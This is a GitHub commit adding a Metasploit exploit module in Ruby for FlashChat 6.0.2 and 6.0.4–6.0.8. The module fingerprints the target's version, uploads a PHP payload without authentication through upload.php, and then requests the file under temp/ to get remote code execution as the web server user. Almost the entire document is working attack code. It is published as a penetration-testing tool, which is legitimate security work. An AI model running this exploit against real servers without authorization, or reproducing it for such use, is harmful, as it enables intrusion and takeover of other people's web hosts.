Skip to content

Commit 875e086

Browse files
author
jvazquez-r7
committed
Land rapid7#2469, @bcoles exploit for FlashChat
2 parents a8de9d5 + 24efb55 commit 875e086

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => "FlashChat Arbitrary File Upload",
20+
'Description' => %q{
21+
This module exploits a file upload vulnerability found in FlashChat
22+
versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
23+
feature in order to upload malicious PHP files without authentication
24+
which results in arbitrary remote code execution as the web server user.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'x-hayben21', # Discovery and PoC
30+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
31+
],
32+
'References' =>
33+
[
34+
['EDB', '28709']
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00"
39+
},
40+
'Arch' => ARCH_PHP,
41+
'Platform' => 'php',
42+
'Targets' =>
43+
[
44+
# Tested on FlashChat version 6.0.8
45+
[ 'Generic (PHP Payload)', {} ]
46+
],
47+
'Privileged' => false,
48+
'DisclosureDate' => "Oct 04 2013",
49+
'DefaultTarget' => 0))
50+
51+
register_options(
52+
[
53+
OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
54+
], self.class)
55+
end
56+
57+
#
58+
# Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
59+
#
60+
def check
61+
uri = normalize_uri(target_uri.path, '')
62+
res = send_request_raw({'uri' => uri})
63+
64+
if not res
65+
print_error("#{peer} - Connection timed out")
66+
return Exploit::CheckCode::Unknown
67+
end
68+
69+
version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''
70+
71+
if version.empty?
72+
return Exploit::CheckCode::Unknown
73+
end
74+
75+
print_status("#{peer} - Version found: #{version}")
76+
77+
if version =~ /6\.0\.(2|4|5|6|7|8)/
78+
return Exploit::CheckCode::Vulnerable
79+
elsif version <= "6.0.8"
80+
return Exploit::CheckCode::Detected
81+
else
82+
return Exploit::CheckCode::Safe
83+
end
84+
85+
end
86+
87+
88+
#
89+
# Uploads our malicious file
90+
# Stolen from havalite_upload_exec.rb
91+
#
92+
def upload(base)
93+
fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
94+
php = "<?php #{payload.encoded} ?>"
95+
data = Rex::MIME::Message.new
96+
data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
97+
post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')
98+
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'uri' => normalize_uri(base, 'upload.php'),
102+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
103+
'data' => post_data
104+
})
105+
106+
if not res
107+
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
108+
elsif res.code.to_i == 404
109+
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
110+
elsif res.code.to_i == 500
111+
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
112+
end
113+
114+
return fname
115+
end
116+
117+
118+
#
119+
# Executes our uploaded malicious file
120+
# Stolen from havalite_upload_exec.rb
121+
#
122+
def exec(base, payload_fname)
123+
res = send_request_raw({
124+
'uri' => normalize_uri(base, 'temp', payload_fname)
125+
})
126+
127+
if res and res.code == 404
128+
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
129+
end
130+
end
131+
132+
def exploit
133+
base = target_uri.path
134+
135+
# upload
136+
print_status("#{peer} - Uploading malicious file...")
137+
fname = upload(base)
138+
139+
# register the file to clean
140+
register_files_for_cleanup(fname)
141+
142+
# exec
143+
print_status("#{peer} - Executing #{fname}...")
144+
exec(base, fname)
145+
end
146+
end

0 commit comments

Comments
 (0)